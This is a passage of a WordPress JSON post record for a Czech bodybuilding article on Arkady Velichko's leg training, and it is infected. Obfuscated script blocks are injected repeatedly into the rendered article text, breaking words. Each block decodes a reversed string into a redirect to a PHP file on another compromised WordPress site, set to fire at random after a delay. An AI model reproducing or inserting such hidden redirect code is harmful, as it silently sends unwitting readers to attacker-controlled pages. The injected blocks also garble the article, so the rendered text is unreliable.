4-5 dn\u016f p\u0159ed t\u00edm, ne\u017e za\u0159azuje d\u0159epy. Pot\u0159ebuje, aby se svaly dob\u0159e zregenerovaly. Druh\u00fd tr\u00e9nink m\u00e1 k d\u0159epov\u00e9mu o n\u011bco bl\u00ed\u017e, p\u0159\u00edpadn\u011b n\u00e1sleduje po n\u011bm. To z\u00e1le\u017e\u00ed na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, jak zrovna cel\u00fd cyklus vych\u00e1z\u00ed.<\/p>\n<p>\u201cM\u016fj tr\u00e9nink je v podstat\u011b velmi jednoduch\u00fd, ale pr\u00e1v\u011b d\u00edky takov\u00e9mu p\u0159\u00edstupu jsem si vybudoval nohy, jak\u00e9 m\u00e1m dnes,\u201d \u0159\u00edk\u00e1 Arkady. Co se t\u00fd\u010de cvik\u016f na stehna, vysta\u010d\u00ed s p\u0159edkop\u00e1v\u00e1n\u00edm, v\u00fdpady, leg pressem na jedn\u00e9 noze a se d\u0159epy. Za zcela z\u00e1sadn\u00ed ale pova\u017euje fakt, \u017ee \u010d\u00edm vy\u0161\u0161\u00ed v\u00e1hu pou\u017e\u00edv\u00e1, t\u00edm del\u0161\u00ed jsou pauzy mezi tr\u00e9ninky. Na hamstringy za\u0159azuje zakop\u00e1v\u00e1n\u00ed vle\u017ee a vsed\u011b ob\u011bma nohama sou\u010dasn\u011b, st\u0159\u00eddav\u00e9 zakop\u00e1v\u00e1n\u00ed ve s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toji a ji\u017e zmi\u0148ovan\u00e9 p\u0159edklony s \u010dinkou za hlavou. V tr\u00e9ninku l\u00fdtek vysta\u010d\u00ed s napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to obvykl\u00fdmi v\u00fdpony.<\/p>\n<p>\u010cl\u00e1nek v pln\u00e9m zn\u011bn\u00ed najdete v \u010d\u00edsle 3\/19, dozv\u00edte se tak mnohem v\u00edce o z\u00e1kladn\u00edch p\u0159edpokladech \u00fasp\u011b\u0161n\u00e9ho tr\u00e9ninku a cvi\u010debn\u00ed filosofii <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to z\u00e1vodn\u00edka.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>text: Vincent Prado, foto archiv Arkady Velichka Co o sv\u00e9m tr\u00e9ninku prozradil jeden z nej\u00fasp\u011b\u0161n\u011bj\u0161\u00edch rusk\u00fdch profesion\u00e1l\u016f Arkady Velichko? \u201cTak jako v\u011bt\u0161ina mlad\u00fdch kluk\u016f jsem i j\u00e1 cht\u011bl hlavn\u011b nabrat hmotu a to rychle,\u201d vzpom\u00edn\u00e1 na svoje za\u010d\u00e1tky z roku 2004 a p\u0159ipou\u0161t\u00ed, \u017ee samoz\u0159ejm\u011b pot\u0159eboval tak\u00e9 kvalitn\u00ed veden\u00ed. Na\u0161t\u011bst\u00ed si jeho nad\u0161en\u00ed a nezpochybniteln\u00e9ho talentu v\u0161iml tren\u00e9r v posilovn\u011b a nab\u00eddl mu, \u017ee ho p\u0159iprav\u00ed na sout\u011b\u017e. \u201cNa n\u011bco takov\u00e9ho jsem tenkr\u00e1t ani nepom\u00fd\u0161lel,\u201d dod\u00e1v\u00e1 Arkady. CESTA ZA \u00daSP\u011aCHEM NA ARNOLD CLASSIC Po sedmim\u011bs\u00ed\u010dn\u00ed p\u0159\u00edprav\u011b se z\u00fa\u010dastnil sv\u00e9 prvn\u00ed kulturistick\u00e9 sout\u011b\u017ee v kategorii junior\u016f a skon\u010dil na kr\u00e1sn\u00e9m t\u0159et\u00edm m\u00edst\u011b, kter\u00e9 pro n\u011bj bylo velkou motivac\u00ed k dal\u0161\u00ed pr\u00e1ci. Da\u0159ilo se mu formu neust\u00e1le zlep\u0161ovat a startoval na cel\u00e9 \u0159ad\u011b dal\u0161\u00edch sout\u011b\u017e\u00ed, z nich\u017e v\u011bt\u0161inu vyhr\u00e1l. Po deseti letech tr\u00e9ninku se stal v roce 2014 absolutn\u00edm mistrem Ruska. To u\u017e jeho sout\u011b\u017en\u00ed v\u00e1ha dosahovala 113 kg. \u201cPo tomto v\u00edt\u011bzstv\u00ed jsem se rozhodl z\u00e1vodit na mezin\u00e1rodn\u00edm poli a p\u0159ipravil jsem se na Arnold Classic Europe 2015. Byl to cel\u00fd rok tvrd\u00e9ho tr\u00e9ninku, kter\u00fd se mi opravdu vyplatil, proto\u017ee jsem v Madridu z\u00edskal titul absolutn\u00edho v\u00edt\u011bze a tak\u00e9 vytou\u017eenou profi kartu. A to v\u0161e z rukou samotn\u00e9ho Arnolda Schwarzeneggera. M\u016fj sen se stal skute\u010dnost\u00ed.\u201d TR\u00c9NINK NOHOU Nohy Arkady Velichka pat\u0159\u00ed k nejmohutn\u011bj\u0161\u00edm na sou\u010dasn\u00e9 kulturistick\u00e9 sc\u00e9n\u011b. Co se skr\u00fdv\u00e1 za tak neuv\u011b\u0159iteln\u00fdm svalov\u00fdm rozvojem? Mo\u017en\u00e1 I fakt, \u017ee Arkady nohy cvi\u010d\u00ed opravdu r\u00e1d. A to nen\u00ed mezi kulturisty obvykl\u00fd jev. \u201cSna\u017e\u00edm se v\u0161echny svaly procvi\u010dit se stejn\u00fdm nasazen\u00edm,\u201d popisuje. \u201cMo\u017en\u00e1 v\u00e1s to p\u0159ekvap\u00ed, ale kdy\u017e jsem se cvi\u010den\u00edm za\u010d\u00ednal, nohy v\u016fbec nebyly moj\u00ed nejlep\u0161\u00ed parti\u00ed. M\u011bl jsem mnohem lep\u0161\u00ed vr\u0161ek. Nohy se tak v\u00fdrazn\u011b zlep\u0161ily a\u017e d\u00edky tvrd\u00e9 pr\u00e1ci a obrovsk\u00e9mu \u00fasil\u00ed.\u201d Arkady zd\u016fraz\u0148uje, \u017ee je zcela z\u00e1sadn\u00ed rozd\u00edl v tr\u00e9ninc\u00edch, do nich\u017e jsou za\u0159azeny d\u0159epy a v t\u011bch, kde d\u0159epy nenajdete. \u201cPova\u017euju, za naprosto z\u00e1sadn\u00ed odli\u0161ovat, jestli jde o tr\u00e9nink nohou s d\u0159epy nebo bez nich,\u201d vysv\u011btluje rusk\u00fd profesion\u00e1l. \u201cV tr\u00e9ninku kvadriceps\u016f d\u0159epy za\u0159azuju u\u017e dlouh\u00e9 roky. A pr\u00e1v\u011b jim vd\u011b\u010d\u00edm za tak v\u00fdrazn\u00fd rozvoj nohou,\u201d pou\u0161t\u00ed se Arkady do konkr\u00e9tn\u00edho popisu tr\u00e9ninku. P\u0159ed d\u0159epy vyu\u017e\u00edv\u00e1 obvykle metodu p\u0159edvy\u010derp\u00e1n\u00ed. Za\u010dne p\u0159edkop\u00e1v\u00e1n\u00edm a pak jede s\u00e9rii leg pressu nebo v\u00fdpad\u016f s velkou \u010dinkou, kdy se z\u00e1t\u011b\u017e pohybuje do 100 kg. Teprve pak p\u0159ich\u00e1z\u00ed na \u0159adu d\u0159epy a po nich d\u0159epy s opravdu vysokou z\u00e1t\u011b\u017e\u00ed. Ty posledn\u011b jmenovan\u00e9 jsou velmi d\u016fle\u017eit\u00e9. Arkady ov\u0161em pova\u017euje za z\u00e1sadn\u00ed um\u011bt tr\u00e9ninky spr\u00e1vn\u011b na\u010dasovat. \u201c\u010c\u00edm n\u00e1ro\u010dn\u011bj\u0161\u00ed je tr\u00e9nink, t\u00edm d\u00e9le pak trv\u00e1 regenerace,\u201d dod\u00e1v\u00e1. Tr\u00e9ninky, v nich\u017e jsou za\u0159azeny d\u0159epy, cykluje po 12 t\u00fddnech. Za\u010d\u00edn\u00e1 tr\u00e9ninkem, kter\u00fd kon\u010d\u00ed d\u0159epy s 200 kg, pak zvy\u0161uje v\u00e1hu tr\u00e9nink od tr\u00e9ninku na 220, 240, 260, 280 a 300 kg v posledn\u00ed s\u00e9rii. Tu jede do vy\u010derp\u00e1n\u00ed. V r\u00e1mci ka\u017ed\u00e9ho tr\u00e9ninku za\u010d\u00edn\u00e1 s n\u00edzkou v\u00e1hou a tu postupn\u011b navy\u0161uje, a\u017e se dostane k uveden\u00e9 hodnot\u011b. D\u0159epov\u00e9 tr\u00e9ninky za\u0159azuje v\u017edy po deseti a\u017e \u010dtrn\u00e1cti dnech. Po prvn\u00edm tr\u00e9ninku, kter\u00fd kon\u010d\u00ed s 200 kg, m\u00e1 deset dn\u016f na regeneraci. Po druh\u00e9m a t\u011bch dal\u0161\u00edch, kdy v\u00e1hu pou\u017eitou v posledn\u00ed s\u00e9rii nav\u00fd\u0161\u00ed v\u017edy o 20 kg oproti tr\u00e9ninku p\u0159edchoz\u00edmu, je pauza 14 dn\u016f. Cel\u00fd cyklus pak trv\u00e1 12 t\u00fddn\u016f. Na jeho konci si d\u00e1v\u00e1 m\u011bs\u00ed\u010dn\u00ed pauzu, aby si t\u011blo kvalitn\u011b odpo\u010dinulo. \u201cJak jsem \u0159ekl, mezi d\u0159epov\u00fdmi tr\u00e9ninky je 10 dn\u016f a\u017e dva t\u00fddny pauza a po dokon\u010den\u00ed cyklu dokonce cel\u00fd m\u011bs\u00edc, ale mezi t\u00edm nohy samoz\u0159ejm\u011b cvi\u010d\u00edm, akor\u00e1t neprov\u00e1d\u00edm d\u0159epy,\u201d vysv\u011btluje Arkady, kter\u00fd se v\u00a0obdob\u00ed bez d\u0159ep\u016f zam\u011b\u0159uje na jin\u00e9 partie svalstva nohou, p\u0159\u00edpadn\u011b za\u0159azuje jin\u00e9 cviky na stehna. R\u00e1d se soust\u0159ed\u00ed na hamstringy a l\u00fdtka. \u201cHamstringy cvi\u010d\u00edm jednou t\u00fddn\u011b a sna\u017e\u00edm se svaly aktivovat z mnoha r\u016fzn\u00fdch \u00fahl\u016f. Hodn\u011b vyu\u017e\u00edv\u00e1m p\u0159edklony s \u010dinkou na ramenou.\u201d Tr\u00e9nink l\u00fdtek za\u0159azuje dvakr\u00e1t t\u00fddn\u011b. Prvn\u00ed tr\u00e9nink v\u011bt\u0161inou 4-5 dn\u016f p\u0159ed t\u00edm, ne\u017e za\u0159azuje d\u0159epy. Pot\u0159ebuje, aby se svaly dob\u0159e zregenerovaly. Druh\u00fd tr\u00e9nink m\u00e1 k d\u0159epov\u00e9mu o n\u011bco bl\u00ed\u017e, p\u0159\u00edpadn\u011b n\u00e1sleduje po n\u011bm. To z\u00e1le\u017e\u00ed na tom, jak zrovna cel\u00fd cyklus vych\u00e1z\u00ed. \u201cM\u016fj tr\u00e9nink je v podstat\u011b velmi jednoduch\u00fd, ale pr\u00e1v\u011b d\u00edky takov\u00e9mu p\u0159\u00edstupu jsem si vybudoval nohy, jak\u00e9 m\u00e1m dnes,\u201d \u0159\u00edk\u00e1 Arkady. Co se t\u00fd\u010de cvik\u016f na stehna, vysta\u010d\u00ed s p\u0159edkop\u00e1v\u00e1n\u00edm, v\u00fdpady, leg pressem na jedn\u00e9 noze a se d\u0159epy. Za zcela z\u00e1sadn\u00ed ale pova\u017euje fakt, \u017ee \u010d\u00edm vy\u0161\u0161\u00ed v\u00e1hu pou\u017e\u00edv\u00e1, t\u00edm del\u0161\u00ed jsou pauzy mezi tr\u00e9ninky. Na hamstringy za\u0159azuje zakop\u00e1v\u00e1n\u00ed vle\u017ee a vsed\u011b ob\u011bma nohama sou\u010dasn\u011b, st\u0159\u00eddav\u00e9 zakop\u00e1v\u00e1n\u00ed ve stoji a ji\u017e zmi\u0148ovan\u00e9 p\u0159edklony s \u010dinkou za hlavou. V tr\u00e9ninku l\u00fdtek vysta\u010d\u00ed s naprosto obvykl\u00fdmi v\u00fdpony. \u010cl\u00e1nek v pln\u00e9m zn\u011bn\u00ed najdete v \u010d\u00edsle 3\/19, dozv\u00edte se tak mnohem v\u00edce o z\u00e1kladn\u00edch p\u0159edpokladech \u00fasp\u011b\u0161n\u00e9ho tr\u00e9ninku a cvi\u010debn\u00ed filosofii tohoto z\u00e1vodn\u00edka.<\/p>\n","protected":false},"author":2,"featured_media":150,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-149","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/149","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=149"}],"version-history":[{"count":3,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/149\/revisions"}],"predecessor-version":[{"id":155,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/149\/revisions\/155"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/150"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=149"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=149"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=149"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}